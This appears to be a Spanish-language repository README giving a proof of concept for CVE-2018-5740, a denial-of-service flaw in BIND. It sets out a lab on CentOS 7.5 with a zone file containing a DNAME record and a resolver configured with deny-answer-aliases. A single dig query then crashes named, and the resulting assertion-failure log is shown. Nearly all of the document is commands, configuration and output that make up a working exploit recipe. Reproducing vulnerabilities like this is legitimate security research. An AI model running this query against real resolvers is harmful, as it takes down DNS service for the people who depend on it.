sischkg/cve-2018-5740Prueba de concepto del exploit para CVE-2018-5740, una vulnerabilidad de denegación de servicio en el servidor DNS BIND activada por una consulta DNAME manipulada, con configuración de laboratorio reproducible.
Named, que recibe la respuesta de un servidor autoritativo legítimo, se bloquea por CVE-2018-5740.
Instalar CentOS 7.5.
Instalar los paquetes bind y bind-utils.
# yum install bind-9.9.4-61.el7.x86_64 bind-utils-9.9.4-61.el7.x86_64
Crear el archivo de zona para la zona example.com.
# vi /var/named/example.com
# chown root:named /var/named/example.com
Archivo de zona example.com.
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
dname IN DNAME child.example.com.
Editar named.conf para añadir la zona example.com.
# vi /etc/named.conf
Directiva de zona example.com.
zone "example.com" IN {
type master;
file "example.com";
};
Iniciar el servicio del servidor autoritativo.
# systemctl start named
Crear el archivo de configuración para el servidor full-resolver.
# vi /etc/named-full-resulver.conf
named-full-resolver.conf
options {
listen-on port 10053 { 127.0.0.1; };
listen-on-v6 port 10053 { ::1; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
memstatistics-file "/var/named/data/named_mem_stats.txt";
allow-query { localhost; };
recursion yes;
dnssec-enable yes;
dnssec-validation yes;
/* Path to ISC DLV key */
bindkeys-file "/etc/named.iscdlv.key";
managed-keys-directory "/var/named/dynamic";
pid-file "/var/run/named/named-full-resolver.pid";
session-keyfile "/run/named/session.key";
deny-answer-aliases {
"dname.example.com";
};
};
logging {
channel default_debug {
file "data/named.run";
severity dynamic;
};
};
zone "." IN {
type hint;
file "named.ca";
};
zone "example.com" IN {
type static-stub;
server-addresses { 127.0.0.1; };
};
include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";
Iniciar el servicio del servidor autoritativo.
# /usr/sbin/named -u named -c /etc/named-full-resolver.conf
Enviar una consulta al full-resolver.
$ dig @127.0.0.1 -p 10053 dname.example.com DNAME +rec
Ver /var/log/messages.
Aug 15 10:45:30 bind named[11523]: name.c:2117: REQUIRE(suffixlabels > 0) failed, back trace
Aug 15 10:45:30 bind named[11523]: #0 0x55651c255b60 in ??
Aug 15 10:45:30 bind named[11523]: #1 0x7fa8a4e1717a in ??
Aug 15 10:45:30 bind named[11523]: #2 0x7fa8a64f87e9 in ??
Aug 15 10:45:30 bind named[11523]: #3 0x7fa8a64a3daf in ??
Aug 15 10:45:30 bind named[11523]: #4 0x7fa8a64a4ff0 in ??
Aug 15 10:45:30 bind named[11523]: #5 0x7fa8a657d33e in ??
Aug 15 10:45:30 bind named[11523]: #6 0x7fa8a4e3a066 in ??
Aug 15 10:45:30 bind named[11523]: #7 0x7fa8a49eae25 in ??
Aug 15 10:45:30 bind named[11523]: #8 0x7fa8a3a5ebad in ??
Aug 15 10:45:30 bind named[11523]: exiting (due to assertion failure)